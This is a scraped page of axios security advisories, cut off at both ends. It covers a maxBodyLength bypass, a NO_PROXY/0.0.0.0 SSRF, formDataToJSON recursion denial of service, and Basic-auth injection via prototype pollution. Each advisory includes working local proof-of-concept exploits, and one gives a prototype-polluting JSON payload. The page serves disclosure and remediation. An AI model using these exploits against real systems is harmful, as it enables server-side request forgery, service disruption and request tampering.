setImmediate(() => process.exit(process.exitCode || 0)); } `` Impact Uncontrolled outbound egress: an attacker who controls the upstream stream (e.g. via an upload endpoint that pipes into axios) can force the application to transmit arbitrarily large payloads. Bypass of cost/quota guards configured via maxBodyLength against billed upstream services. Resource exhaustion against upstream peers, proxies, and the application's own connection / memory budget. </details>

OWASP A06LLM04 · Model DoSOWASP Web
Get guardrail →

Axios: Fetch adapter `ReadableStream` uploads bypass `maxBodyLength`

Summary axios’ fetch adapter does not enforce maxBodyLength for live WHATWG ReadableStream request bodies whose size cannot be determined before dispatch. Applications that use adapter: "fetch" and rely on maxBodyLength to cap untrusted upload/proxy streams can send the full stream even when it exceeds the configured limit. This affects fetch-adapter usage in edge runtimes where fetch is selected, and in Node.js or browser environments where the fetch adapter is explicitly selected. The HTTP adapter’s stream upload path is not affected. Impact An attacker who can supply or influence a streamed request body can bypass the caller’s configured upload-size limit. Practical impact is unexpected outbound network egress, request-level resource consumption, and possible exhaustion of upstream API quotas or bandwidth. This does not expose response data, execute code, or modify axios configuration. Exploitability depends on an application passing attacker-controlled, unknown-length stream data to axios and relying on maxBodyLength as the size guard. Affected Functionality Affected: adapter: "fetch" or environments where axios selects the fetch adapter. Request methods with bodies, such as POST, PUT, and PATCH. data as a WHATWG ReadableStream without a reliable Content-Length. Configurations that set maxBodyLength to a finite value. Not affected: Axios versions before the fetch adapter was introduced. The Node HTTP adapter stream enforcement path. Known-length fetch-adapter bodies in 1.16.0+, such as strings, Blob, ArrayBuffer, ArrayBufferView, URLSearchParams, spec-compliant FormData, or requests with a finite Content-Length. Technical Details In lib/adapters/fetch.js, getBodyLength() handles null bodies, Blob, spec-compliant FormData, ArrayBuffer values, URLSearchParams, and strings. It has no branch for ReadableStream, so resolveBodyLength(headers, data) returns undefined when no finite Content-Length header is present. The maxBodyLength check only throws when the resolved outbound length is a finite number greater than the configured limit. For live streams, the check is skipped and the stream is passed to fetch(). When onUploadProgress is enabled, axios wraps the request body with trackStream(), but that wrapper only reports progress. It does not receive maxBodyLength and does not abort once loaded bytes exceed the cap. The expected behavior exists in the HTTP adapter: lib/adapters/http.js enforces maxBodyLength for streamed uploads by counting chunks and rejecting with ERR_BAD_REQUEST. Proof of Concept of Attack Run from the axios repo root on Node 18+ against an affected version: ``js import http from 'node:http'; import axios from './index.js'; const LIMIT = 1024; const PAYLOAD_BYTES = 2 1024 1024; const server = http.createServer((req, res) => { let received = 0; req.on('data', (chunk) => { received += chunk.length; }); req.on('end', () => { res.writeHead(200, { 'content-type': 'application/json' }); res.end(JSON.stringify({ received, limit: LIMIT })); }); }); await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve)); const { port } = server.address(); function makeReadableStream(totalBytes) { const chunk = new Uint8Array(64 1024).fill(0x42); let remaining = totalBytes; return new ReadableStream({ pull(controller) { if (remaining <= 0) { controller.close(); return; } const next = remaining >= chunk.length ? chunk : chunk.subarray(0, remaining); remaining -= next.length; controller.enqueue(next); }, }); } try { const response = await axios.post( http://127.0.0.1:${port}/upload, makeReadableStream(PAYLOAD_BYTES), { adapter: 'fetch', maxBodyLength: LIMIT, headers: { 'content-type': 'application/octet-stream' }, } ); console.log(response.data); } finally { server.close(); } ` Expected vulnerable result: the server reports received: 2097152 even though maxBodyLength is 1024. Workarounds Use the HTTP adapter for untrusted stream uploads in Node.js where possible, or wrap/count the stream at the application layer and abort it when it exceeds the intended limit. Do not rely on fetch-adapter maxBodyLength for unknown-length ReadableStream bodies until a fixed axios version is available. <details> <summary>Original Report</summary> Summary axios's fetch adapter (used in browsers, edge runtimes, and Node 18+ when explicitly selected) ignores maxBodyLength for live ReadableStream request bodies whose size cannot be inferred ahead of dispatch. The pre-dispatch check is skipped when the length is unknown, and the in-flight wrapper that runs during transmission only emits progress events — it never enforces a byte cap. Severity: medium. Details In lib/adapters/fetch.js, body-length resolution has no ReadableStream branch: fetch.js Lines 121-155 ` const getBodyLength = async (body) => { if (body == null) { return 0; } if (utils.isBlob(body)) { return body.size; } if (utils.isSpecCompliantForm(body)) { const _request = new Request(platform.origin, { method: 'POST', body, }); return (await _request.arrayBuffer()).byteLength; } if (utils.isArrayBufferView(body) || utils.isArrayBuffer(body)) { return body.byteLength; } if (utils.isURLSearchParams(body)) { body = body + ''; } if (utils.isString(body)) { return (await encodeText(body)).byteLength; } }; const resolveBodyLength = async (headers, body) => { const length = utils.toFiniteNumber(headers.getContentLength()); return length == null ? getBodyLength(body) : length; }; ` For a live ReadableStream, resolveBodyLength returns undefined. The pre-dispatch maxBodyLength check then short-circuits because the value is not finite: fetch.js Lines 214-232 ` // Enforce maxBodyLength against the outbound request body before dispatch. // Mirrors http.js behavior (ERR_BAD_REQUEST / 'Request body larger than // maxBodyLength limit'). Skip when the body length cannot be determined // (e.g. a live ReadableStream supplied by the caller). if (hasMaxBodyLength && method !== 'get' && method !== 'head') { const outboundLength = await resolveBodyLength(headers, data); if ( typeof outboundLength === 'number' && isFinite(outboundLength) && outboundLength > maxBodyLength ) { throw new AxiosError( 'Request body larger than maxBodyLength limit', AxiosError.ERR_BAD_REQUEST, config, request ); } } ` The in-flight stream wrapper that follows is purely for progress reporting; it neither sees maxBodyLength nor aborts the request when bytes exceed any cap: fetch.js Lines 253-261 ` if (_request.body) { const [onProgress, flush] = progressEventDecorator( requestContentLength, progressEventReducer(asyncDecorator(onUploadProgress)) ); data = trackStream(_request.body, DEFAULT_CHUNK_SIZE, onProgress, flush); } ` The body therefore reaches fetch() unbounded, and the entire payload is transmitted regardless of maxBodyLength. PoC ` import http from 'node:http'; import axios from '../../index.js'; const LIMIT = 1024; const PAYLOAD_BYTES = 2 1024 1024; const server = http.createServer((req, res) => { let received = 0; req.on('data', (chunk) => { received += chunk.length; }); req.on('end', () => { res.writeHead(200, { 'content-type': 'application/json' }); res.end(JSON.stringify({ received, limit: LIMIT })); }); req.on('error', () => { / swallow client-side aborts / }); }); await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve)); const port = server.address().port; function makeReadableStream(totalBytes) { const CHUNK = new Uint8Array(64 1024).fill(0x42); let remaining = totalBytes; return new ReadableStream({ pull(controller) { if (remaining <= 0) { controller.close(); return; } const next = remaining >= CHUNK.length ? CHUNK : CHUNK.subarray(0, remaining); remaining -= next.length; controller.enqueue(next); }, }); } try { let result; try { const response = await axios.post( http://127.0.0.1:${port}/upload, makeReadableStream(PAYLOAD_BYTES), { adapter: 'fetch', maxBodyLength: LIMIT, headers: { 'content-type': 'application/octet-stream' }, // No content-length: the stream's total length is unknown ahead of // dispatch, which is exactly the vulnerable code path. } ); result = { status: response.status, data: response.data }; } catch (err) { result = { error: err && (err.code || err.message) }; } console.log('--- PoC: fetch adapter ReadableStream maxBodyLength bypass ---'); console.log('axios result:', JSON.stringify(result)); const ok = result && result.status === 200 && result.data && typeof result.data === 'object' && result.data.received === PAYLOAD_BYTES && result.data.limit === LIMIT; if (ok) { console.log( VULNERABLE: server received ${result.data.received} bytes despite + maxBodyLength=${LIMIT}. ); process.exitCode = 0; } else { console.log('NOT VULNERABLE: axios refused or truncated the oversized ReadableStream.'); process.exitCode = 1; } } finally { server.close(); } `` Impact Uncontrolled egress when proxying user-controlled streams (e.g. file uploads, log forwarding, AI streaming endpoints). Bypass of cost / quota guards on upstream APIs. Resource exhaustion against the runtime's network stack and against upstream peers. </details>

Axios: NO_PROXY bypass for 0.0.0.0 local addresses in axios

Summary Axios versions containing lib/helpers/shouldBypassProxy.js do not treat 0.0.0.0 as a local address when evaluating NO_PROXY rules. In Node.js applications that use HTTP_PROXY or HTTPS_PROXY together with NO_PROXY=localhost,127.0.0.1,::1 or similar, a request to http://0.0.0.0:<port>/ can be routed through the configured proxy instead of bypassing it. The issue is exploitable when an attacker can influence the axios request URL or a followed redirect target, and when the proxy can reach or relay 0.0.0.0 to local services. This is a Node.js runtime proxy-routing issue, not a browser, install-time, or development-tooling issue. Impact Applications are affected when all of the following are true: The application runs axios in Node.js with the HTTP adapter. The process uses environment proxy variables such as HTTP_PROXY or HTTPS_PROXY. The process uses NO_PROXY entries such as localhost, 127.0.0.1, or ::1 to keep local traffic out of the proxy path. Attacker-controlled input can influence the request URL or redirect target. The configured proxy does not reject 0.0.0.0 and can reach the local destination. For plain HTTP targets, the proxy can receive the full request URL, headers, and body, and may be able to observe the local service response. HTTPS targets are less exposed because axios uses CONNECT tunneling in current versions. Affected Functionality Affected functionality is limited to environment-derived proxy selection in the Node HTTP adapter: lib/adapters/http.js calls getProxyForUrl(location) and then shouldBypassProxy(location) before applying the proxy. lib/helpers/shouldBypassProxy.js normalizes and compares NO_PROXY entries. Explicit caller-provided config.proxy remains trusted caller configuration. Browser, React Native, XHR, and fetch adapter behavior are not affected. Technical Details lib/helpers/shouldBypassProxy.js defines local loopback equivalence through isLoopback(). The current implementation recognizes localhost, IPv4 127.0.0.0/8, IPv6 ::1, and IPv4-mapped loopback forms, but it does not include 0.0.0.0. At lib/helpers/shouldBypassProxy.js:176, axios treats two hosts as matching when both are considered loopback: ``js return hostname === entryHost || (isLoopback(hostname) && isLoopback(entryHost)); ` Because isLoopback('0.0.0.0') returns false, NO_PROXY=localhost,127.0.0.1,::1 does not match http://0.0.0.0:<port>/. lib/adapters/http.js:185-193 then applies the environment proxy. Proof of Concept of Attack `js import http from 'http'; import axios from './index.js'; const listen = (handler, host = '127.0.0.1') => new Promise((resolve) => { const server = http.createServer(handler); server.listen(0, host, () => resolve(server)); }); const close = (server) => new Promise((resolve) => server.close(resolve)); const origin = await listen((req, res) => res.end('origin'), '0.0.0.0'); let proxyRequests = 0; const proxy = await listen((req, res) => { proxyRequests += 1; res.end('proxied'); }); process.env.http_proxy = http://127.0.0.1:${proxy.address().port}; process.env.HTTP_PROXY = process.env.http_proxy; process.env.no_proxy = 'localhost,127.0.0.1,::1'; process.env.NO_PROXY = process.env.no_proxy; try { const direct = await axios.get(http://127.0.0.1:${origin.address().port}/); const zero = await axios.get(http://0.0.0.0:${origin.address().port}/); console.log({ direct: direct.data, zero: zero.data, proxyRequests }); } finally { await close(origin); await close(proxy); } ` Expected safe behavior: both 127.0.0.1 and 0.0.0.0 bypass the proxy when the NO_PROXY policy is intended to cover local destinations. Observed behavior: 127.0.0.1 bypasses the proxy, while 0.0.0.0 is sent through the proxy. Workarounds Add 0.0.0.0 explicitly to NO_PROXY where local addresses must bypass proxies. Reject or normalize 0.0.0.0 in application URL validation before calling axios. Set proxy: false on axios requests that must never use environment proxies. Configure the proxy itself to reject 0.0.0.0, loopback, link-local, and internal address ranges. <details> <summary>Original Report</summary> Summary axios versions 1.15.0–1.16.1 contain an incomplete loopback-address check in lib/helpers/shouldBypassProxy.js. The isLoopback() function correctly identifies 127.0.0.0/8 and ::1 as loopback addresses but does not recognise 0.0.0.0 — the IPv4 unspecified address, which routes to the local machine on Linux and macOS. An attacker who controls a URL passed to axios can use http://0.0.0.0/<path> to bypass proxy-based SSRF filtering that the application relies upon. Details Affected versions >= 1.15.0, <= 1.16.1 The vulnerability was introduced in v1.15.0 when the shouldBypassProxy helper was added as a security improvement (PR #10661). --- Root cause File: lib/helpers/shouldBypassProxy.js ``javascript // Line 1 — static allowlist (incomplete) const LOOPBACK_HOSTNAMES = new Set(['localhost']); // ← 0.0.0.0 missing const isIPv4Loopback = (host) => { const parts = host.split('.'); if (parts.length !== 4) return false; if (parts[0] !== '127') return false; // ← 0.0.0.0: parts[0] = '0' → false return parts.every((p) => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255); }; const isLoopback = (host) => { if (!host) return false; if (LOOPBACK_HOSTNAMES.has(host)) return true; // ← '0.0.0.0' not in set if (isIPv4Loopback(host)) return true; // ← returns false for 0.0.0.0 return isIPv6Loopback(host); }; isLoopback('0.0.0.0') returns false. Node's WHATWG URL parser does not normalise 0.0.0.0 to 127.0.0.1. Other bypass forms are safe: new URL('http://0177.0.0.1/').hostname → '127.0.0.1' (octal), new URL('http://2130706433/').hostname → '127.0.0.1' (decimal), new URL('http://0x7f000001/').hostname → '127.0.0.1' (hex). Only 0.0.0.0 escapes normalisation. PoC 'use strict'; // Verbatim copy of relevant logic from axios v1.16.1 shouldBypassProxy.js const LOOPBACK_HOSTNAMES = new Set(['localhost']); const isIPv4Loopback = (host) => { const parts = host.split('.'); if (parts.length !== 4) return false; if (parts[0] !== '127') return false; return parts.every((p) => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255); }; const isLoopback = (host) => { if (!host) return false; if (LOOPBACK_HOSTNAMES.has(host)) return true; return isIPv4Loopback(host); }; // 1. Show URL parser does NOT normalise 0.0.0.0 console.log(new URL('http://0.0.0.0/').hostname); // → '0.0.0.0' ← NOT normalised console.log(new URL('http://0177.0.0.1/').hostname); // → '127.0.0.1' ← normalised (safe) console.log(new URL('http://2130706433/').hostname); // → '127.0.0.1' ← normalised (safe) // 2. Show isLoopback fails for 0.0.0.0 console.log(isLoopback('0.0.0.0')); // → false ← BUG: should be true console.log(isLoopback('127.0.0.1')); // → true ← correct Verified output on Node.js v22 / axios v1.16.1: 0.0.0.0 ← NOT normalised by URL parser 127.0.0.1 ← octal normalised correctly 127.0.0.1 ← decimal normalised correctly false ← 0.0.0.0 not detected as loopback ⚠ true ← 127.0.0.1 correctly detected Impact Applications that: Accept user-supplied URLs and pass them to axios Use a proxy with NO_PROXY=localhost (or similar) for SSRF filtering …can be bypassed by supplying http://0.0.0.0/<path>. Axios routes the request through the proxy (shouldBypassProxy returns false). If the proxy itself does not filter 0.0.0.0, the connection reaches the local machine — exposing internal services such as cloud IMDS endpoints, internal admin panels, or microservice APIs. Fix Minimal (one line): const LOOPBACK_HOSTNAMES = new Set(['localhost']); const LOOPBACK_HOSTNAMES = new Set(['localhost', '0.0.0.0']); Comprehensive: const isIPv4Unspecified = (host) => host === '0.0.0.0'; const isLoopback = (host) => { if (!host) return false; if (LOOPBACK_HOSTNAMES.has(host)) return true; if (isIPv4Loopback(host)) return true; if (isIPv4Unspecified(host)) return true; // add this line return isIPv6Loopback(host); }; </details>

OWASP A10LLM02 · Insecure OutputOWASP Web
Get guardrail →

Axios: Excessive recursion in formDataToJSON can cause denial of service

Summary Axios versions 0.28.0 and later contain uncontrolled recursion in formDataToJSON, the helper behind the public axios.formToJSON() / named formToJSON API and the default request transform used when FormData is sent with an application/json content type. Applications are affected when they pass attacker-controlled FormData field names into this functionality. A field name with thousands of nested bracket segments can exhaust the JavaScript call stack and throw RangeError: Maximum call stack size exceeded, causing request failure and, in applications that do not handle the exception or rejected promise, possible process termination. Impact The impact is denial of service against applications that process untrusted FormData field names through axios' FormData-to-JSON conversion. The vulnerable path is not reached by merely installing axios, by normal multipart FormData pass-through, or by ordinary axios requests that do not request JSON serialisation of FormData. In the default axios request, the error is produced before network I/O and returned as a rejected Promise. Direct use of formToJSON() throws synchronously. Server-side applications are the primary risk when remote users can submit arbitrary form field names, and the application converts those fields with formToJSON() or sends them through axios as JSON. Affected Functionality Affected APIs and paths: axios.formToJSON(formData) import { formToJSON } from "axios" lib/helpers/formDataToJSON.js axios default transformRequest when data is FormData and Content-Type contains application/json Unaffected or lower-risk paths: Normal multipart FormData requests without JSON Content-Type toFormData() object-to-FormData serialisation, which already has a maxDepth guard Axios versions before 0.28.0, where this helper and public API were not present Technical Details lib/helpers/formDataToJSON.js parses a form field name into path segments with parsePropPath(). For a key such as a[x][x][x], each bracketed segment becomes another path element. formDataToJSON() then calls the nested buildPath(path, value, target, index) function. buildPath() recursively calls itself once for each path segment and does not enforce a maximum depth: const result = buildPath(path, value, target[name], index); A key containing thousands of bracket segments, therefore, creates thousands of recursive calls. At sufficient depth, V8 throws RangeError: Maximum call stack size exceeded. Axios already applies a depth guard to the inverse serializer in lib/helpers/toFormData.js, where maxDepth defaults to 100 and exceeding it throws AxiosError with code ERR_FORM_DATA_DEPTH_EXCEEDED. formDataToJSON() does not currently have equivalent protection. Proof of Concept of Attack ``js import { formToJSON } from "axios"; const fd = new FormData(); fd.append("a" + "[x]".repeat(15000), "value"); try { formToJSON(fd); console.log("not vulnerable"); } catch (err) { console.log(${err.constructor.name}: ${err.message}); } ` Expected vulnerable result: RangeError: Maximum call stack size exceeded The axios request transform path can also be reached before network I/O: `js import axios from "axios"; const fd = new FormData(); fd.append("a" + "[x]".repeat(15000), "value"); await axios .post("http://127.0.0.1:1/", fd, { headers: { "Content-Type": "application/json" } }) .catch((err) => console.log(${err.constructor.name}: ${err.message})); ` Expected vulnerable result: RangeError: Maximum call stack size exceeded Workarounds Applications can avoid the vulnerable path by not converting attacker-controlled FormData to JSON with axios. If conversion is required before a fixed axios release is available, validate FormData field names before calling formToJSON() or before sending FormData with Content-Type: application/json. Reject keys whose parsed nesting depth exceeds the application's expected schema. For axios requests carrying untrusted FormData, avoid setting Content-Type: application/json; leaving the data as multipart FormData bypasses formDataToJSON(). Catching the resulting error can prevent process termination, but it does not remove the uncontrolled-recursion behaviour and should not be treated as the primary mitigation. <details> <summary>Original Report</summary> Axios SSRF via Incomplete Loopback Detection CWE-918 | CVSS 7.5 (HIGH) | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L --- 1. Classification | CWE | CVSS Score | Severity | Type | |-----|-----------|----------|------| | CWE-918 | 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) | HIGH | Server-Side Request Forgery | 2. Description Summary The shouldBypassProxy() function in Axios fails to recognise 0.0.0.0, ::, and ::ffff:0.0.0.0 as loopback addresses. When NO_PROXY=localhost is configured, requests to these addresses are incorrectly forwarded through the proxy instead of being sent directly, enabling an SSRF attack against internal services reachable via the proxy's loopback interface. Root Cause File: lib/helpers/shouldBypassProxy.js isIPv4Loopback (lines 3-8): Only checks for 127.x.x.x addresses by inspecting parts[0] !== '127'. The 0.0.0.0 address has parts[0] === '0', so it falls through as non-loopback, even though on Linux 0.0.0.0 routes to the loopback interface. isIPv6Loopback (lines 10-38): Only checks host === '::1'. The :: address (unspecified IPv6) also routes to the loopback, but is not recognised. Attack Flow: ` isIPv4Loopback (line 3) — fails for 0.0.0.0 → isLoopback (line 44) — wraps both checks, returns false → shouldBypassProxy (line 127) — PUBLIC API, exported default → lib/adapters/http.js (line 190) — Node.js HTTP adapter ` Attack Vector Access Vector: Network (AV:N) Access Complexity: Low (AC:L) — attacker only needs control of a URL Privileges Required: None (PR:N) User Interaction: None (UI:N) 3. Proof of Concept Phase 1: Logic Verification `javascript import shouldBypassProxy from 'axios/lib/helpers/shouldBypassProxy.js'; // Normal loopback — correctly returns true (bypasses proxy) shouldBypassProxy('http://127.0.0.1:9999/'); // → true // Vulnerable — returns false (goes through proxy!) shouldBypassProxy('http://0.0.0.0:9999/'); // → false ← SSRF shouldBypassProxy('http://[::]:9999/'); // → false ← SSRF shouldBypassProxy('http://[::ffff:0.0.0.0]:9999/'); // → false ← SSRF ` Phase 2: Docker E2E Reproduction A full 3-container Docker reproduction was created and tested: Proxy container: Simple HTTP forward proxy on port 8888 Internal container: Internal service on port 9999 (simulates sensitive internal resource) Attacker container: Runs the test script with Axios source mounted Reproduction steps: `bash cd /tmp/deep-e2e docker compose up -d docker compose exec attacker node test-ssrf.js ` Results: Test 1: 127.0.0.1 + NO_PROXY=localhost → BYPASS (correct) Test 2: 0.0.0.0 + NO_PROXY=localhost → VIA_PROXY (SSRF) Test 3: [::] + NO_PROXY=localhost → VIA_PROXY (SSRF) Test 4: [::ffff:0.0.0.0] + NO_PROXY=localhost → VIA_PROXY (SSRF) Phase 3: Actual Axios Client The real Axios HTTP client (v1.16.1, source tree) was tested through proxy configuration: Axios with proxy: { host: 'proxy', port: 8888 } Setting NO_PROXY=localhost and requesting http://0.0.0.0:9999/ Result: Axios forwarded the request through the proxy instead of bypassing it 4. Impact Attack Scenario 1. Attacker has control over a URL that an Axios client will request (direct input, redirect target, open redirect chain) 2. The Axios client is configured with a proxy (e.g., corporate proxy) and NO_PROXY=localhost to protect internal services 3. Attacker supplies http://0.0.0.0:8080/admin as the target URL 4. Axios sends the request through the proxy 5. The proxy resolves 0.0.0.0 → the proxy's own loopback → reaches the internal admin service on port 8080 Potential Consequences Information disclosure (C:L): Internal service responses become accessible Integrity impact (I:L): Attacker can trigger actions on internal services (if proxy supports PUT/POST/DELETE) Availability impact (A:L): Limited — depends on internal service behavior Likelihood High — proxy bypass is a common pattern in microservice architectures Medium — requires attacker control of a URL (not always available) 5. Remediation Code Fix File: lib/helpers/shouldBypassProxy.js `javascript function isIPv4Loopback(host) { if (host === '0.0.0.0') return true; // ADD THIS LINE const parts = host.split('.'); if (parts.length !== 4) return false; if (parts[0] !== '127') return false; return parts.every(p => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255); } function isIPv6Loopback(host) { if (host === '::1' || host === '::') return true; // ADD '::' // ... rest of implementation } ` Workarounds Add 0.0.0.0 and :: to the NO_PROXY environment variable explicitly Use 127.0.0.1 instead of 0.0.0.0 in all internal service URLs Implement URL validation to reject 0.0.0.0 and ::` before passing to Axios

OWASP A06LLM04 · Model DoSOWASP Web
Get guardrail →

Axios: Prototype pollution auth subfields can inject Basic auth

Summary Axios versions after the GHSA-q8qp-cvcw-x6jj fix still contain prototype-pollution read-side gadgets in Basic auth subfield handling. If a host application is already affected by prototype pollution and then makes an axios request with an own auth object that omits username or password, axios reads inherited Object.prototype.username and Object.prototype.password values and uses them to construct an outbound Authorization: Basic ... header. This does not mean axios itself pollutes prototypes. Exploitation requires a separate prototype-pollution primitive in the host process, plus an axios call pattern such as auth: opts.auth || {}. Impact An attacker who can pollute Object.prototype.username and/or Object.prototype.password can influence the Basic auth header on affected axios requests that pass an empty or partial own auth object. The practical impact is outbound request tampering. The attacker can inject attacker-chosen Basic auth credentials, replace an existing Authorization header because axios removes it when auth is used, or cause downstream authorization failures. This should not be described as automatic credential exfiltration. In the minimal reproduced case, the Basic auth values are attacker-controlled values, not secrets read from axios. Credential disclosure requires an additional application-specific condition, such as a request destination observable by the attacker and a partial real auth object with a missing polluted subfield. Affected Functionality Affected functionality: Node HTTP adapter Basic auth handling in lib/adapters/http.js. Browser, web worker, React Native, and fetch shared resolver Basic auth handling in lib/helpers/resolveConfig.js. Requests where config.auth is an own object but username and/or password are absent own properties. Unaffected or not accepted as core impact: Requests with no own auth object after mergeConfig(). Requests with own auth.username and auth.password values. Normal axios request flow for inherited top-level params / paramsSerializer after the null-prototype mergeConfig() hardening. Attacker-controlled paramsSerializer functions from JSON-only prototype pollution, because JSON pollution cannot create functions. If attacker-controlled code can install functions in the process, that is outside axios’ runtime boundary. Technical Details mergeConfig() returns a null-prototype top-level config object, which prevents top-level reads such as config.auth from inheriting polluted values. However, nested plain objects returned by utils.merge() still have Object.prototype. In lib/adapters/http.js, axios correctly reads the top-level auth value through own('auth'), but then reads subfields directly: ``js const configAuth = own('auth'); if (configAuth) { const username = configAuth.username || ''; const password = configAuth.password || ''; auth = username + ':' + password; } ` If the caller passes auth: {} and Object.prototype.username/password are polluted, those direct subfield reads walk the prototype chain. The same pattern exists in lib/helpers/resolveConfig.js: `js if (auth) { headers.set( 'Authorization', 'Basic ' + btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : '')) ); } ` The fix should guard username and password with utils.hasOwnProp, matching the proxy-auth pattern already used elsewhere. Proof of Concept of Attack Safe local PoC against published axios@1.16.1: `js const http = require('node:http'); const axios = require('axios'); Object.prototype.username = 'victim-user'; Object.prototype.password = 'victim-password-leaked'; const server = http.createServer((req, res) => { console.log({ url: req.url, authorization: req.headers.authorization || null }); res.end('{}'); server.close(() => { delete Object.prototype.username; delete Object.prototype.password; }); }); server.listen(0, '127.0.0.1', async () => { await axios.get(http://127.0.0.1:${server.address().port}/api, { auth: {} }); }); ` Expected output: `json { "url": "/api", "authorization": "Basic dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA==" } ` The base64 value decodes to victim-user:victim-password-leaked. Workarounds Avoid passing empty or partial auth objects. Only set auth when the application has own username and password values. Applications that merge untrusted input should filter __proto__, constructor, and prototype, and should read optional user options with own-property checks rather than opts.auth || {}. Where a wrapper must materialize optional auth, use a null-prototype object or explicitly copy only own fields. <details> <summary>Original Report</summary> Summary After GHSA-q8qp-cvcw-x6jj / PR #10779 (shipped in v1.15.2) and the further proxy-side hardening in PR #10833 (merged 2026-05-02), the top-level config.auth and the proxy authsub-fields are correctly read via utils.hasOwnProp. The regular request auth sub-fields (config.auth.username and config.auth.password) and the config.params / config.paramsSerializer reads inside resolveConfig.js are still unguarded against a polluted Object.prototype. When a polluted host process makes an axios call with the common "optional override" pattern (auth: opts.auth || {} — an empty own {}), the sub-field reads configAuth.username and configAuth.password walk the prototype chain and return the attacker-controlled values. Same for params and paramsSerializer. The outbound HTTP request then carries an attacker-chosen Authorization: Basic <base64> header and an attacker-chosen querystring, leaking credentials and exfiltrating data to whichever host the request goes to (often attacker-influenced too — i.e. the amplifier is wired into many credential-stuffing chains). Reproduces against axios main HEAD (34723be, dated 2026-05-24) as well as the released v1.16.1. Details Three still-unguarded read sites on main HEAD: (1) lib/adapters/http.js lines 737–740 (Node http adapter): `js const configAuth = own('auth'); // ← top-level guard OK if (configAuth) { const username = configAuth.username || ''; // ← reads .username on the inherited chain const password = configAuth.password || ''; // ← reads .password on the inherited chain auth = username + ':' + password; } ` own('auth') correctly applies hasOwnProp to the top-level auth key. But once configAuth is the empty object the caller passed (auth: {}), configAuth.username walks the prototype chain and picks up Object.prototype.username. Contrast with the proxy-auth path that PR #10833 fixed (lines 322–324): `js const authUsername = authIsObject && utils.hasOwnProp(proxyAuth, 'username') ? proxyAuth.username : undefined; const authPassword = authIsObject && utils.hasOwnProp(proxyAuth, 'password') ? proxyAuth.password : undefined; ` This is the exact pattern needed at lines 739–740 too. (2) lib/helpers/resolveConfig.js lines 50 + 68 (xhr/fetch adapter shared resolver): `js const auth = own('auth'); // ← top-level guard OK ... btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : '')) // ^ .username and .password read directly on auth, no hasOwnProp guard ` Same shape — top-level guarded, sub-fields walk prototype. (3) lib/helpers/resolveConfig.js lines 58–59 (params + paramsSerializer): `js newConfig.url = buildURL( buildFullPath(baseURL, url, allowAbsoluteUrls), config.params, // ← direct read, not through own() config.paramsSerializer // ← direct read, not through own() ); ` This third site is already proposed for fix in open PR #10922 by @Mohammad-Faiz-Cloud-Engineer (status: open, currently mergeable: false). That PR's own('params') / own('paramsSerializer') change is exactly correct; this report flags the auth sub-field sites that PR #10922 does not cover. PoC This PoC contains zero direct Object.prototype.x = y writes. The pollution flows entirely from attacker-shaped JSON through a real deep-merge utility (defaults-deep@0.2.4, ~50k weekly downloads, still walks constructor.prototype). A hand-rolled deep merge — the canonical insecure backend pattern — exhibits the same pollution via __proto__ and is more common in real codebases than any named utility. `js #!/usr/bin/env node 'use strict'; const http = require('node:http'); const axios = require('axios'); const defaultsDeep = require('defaults-deep'); // Defensive: scrub any prior pollution const PROTO_KEYS = ['username', 'password', 'params', 'paramsSerializer']; function scrub() { for (const k of PROTO_KEYS) { try { delete Object.prototype[k]; } catch (_) {} } } scrub(); // 1) Attacker input — what JSON.parse(req.body) would yield from an HTTP POST const attackerBody = JSON.parse({ "constructor": { "prototype": { "username": "victim-user", "password": "victim-password-leaked", "params": {"leak": "ATTACKER_QUERY_TOKEN"} } } }); // 2) Realistic application pattern: merge user options into defaults const appDefaults = { timeout: 5000 }; defaultsDeep(appDefaults, attackerBody); // After this line: // Object.prototype.username === "victim-user" // Object.prototype.password === "victim-password-leaked" // Object.prototype.params === { leak: "ATTACKER_QUERY_TOKEN" } // 3) Capture outbound request on a local listener const server = http.createServer((req, res) => { console.log('=== captured outbound request ==='); console.log(JSON.stringify({ method: req.method, url: req.url, authorization: req.headers.authorization || null, }, null, 2)); res.end('{}'); server.close(); scrub(); }); server.listen(0, '127.0.0.1', () => { const port = server.address().port; // 4) Realistic application wrapper: optional per-call overrides. // auth: opts.auth || {} is the common pattern — empty own object, // but inherited values walk the prototype chain. function makeRequest(targetUrl, opts = {}) { return axios.get(targetUrl, { timeout: 5000, auth: opts.auth || {}, params: opts.params || {}, }); } makeRequest(http://127.0.0.1:${port}/api/widget).catch((e) => { console.error('axios error:', e.message); scrub(); process.exit(1); }); }); ` Reproduction: `bash mkdir /tmp/axios-poc && cd /tmp/axios-poc npm init -y npm install axios@1.16.1 defaults-deep@0.2.4 node /path/to/poc.cjs ` Captured output (verified against released 1.16.1 AND against main at 34723be, 2026-05-24): `json { "method": "GET", "url": "/api/widget?leak=ATTACKER_QUERY_TOKEN", "authorization": "Basic dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA==" } ` dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA== base64-decodes to victim-user:victim-password-leaked. The querystring carries ?leak=ATTACKER_QUERY_TOKEN, which can be a full data-exfil channel in real chains (CSRF token, session cookie via req.headers, etc.). Impact Credential exfiltration via Basic auth header on the outbound request. If the request URL is attacker-influenced too (common in webhook/oauth-callback patterns), the credentials flow directly to the attacker. If not, they flow to the legitimate destination but expose victim credentials in any logs / proxies along the path. Outbound request-shape control via inherited params / paramsSerializer. With paramsSerializer polluted to an attacker function, axios will execute that function with each params invocation — same-process code execution from a pollution primitive. Amplifier framing is still correct. The application-side precondition is "deep-merges attacker JSON into a config object without __proto__/constructor filtering, then uses the empty- fallback wrapper auth: opts.auth || {} / params: opts.params || {}." Both halves are very common in real codebases (we tested defaults-deep, hand-rolled merges, and several lodash-family utilities; many still pollute). CWE-1321 (Improperly Controlled Modification of Object Prototype Attributes — amplifier sink). Proposed fix Two-line change in http.js, matching the proxy-auth 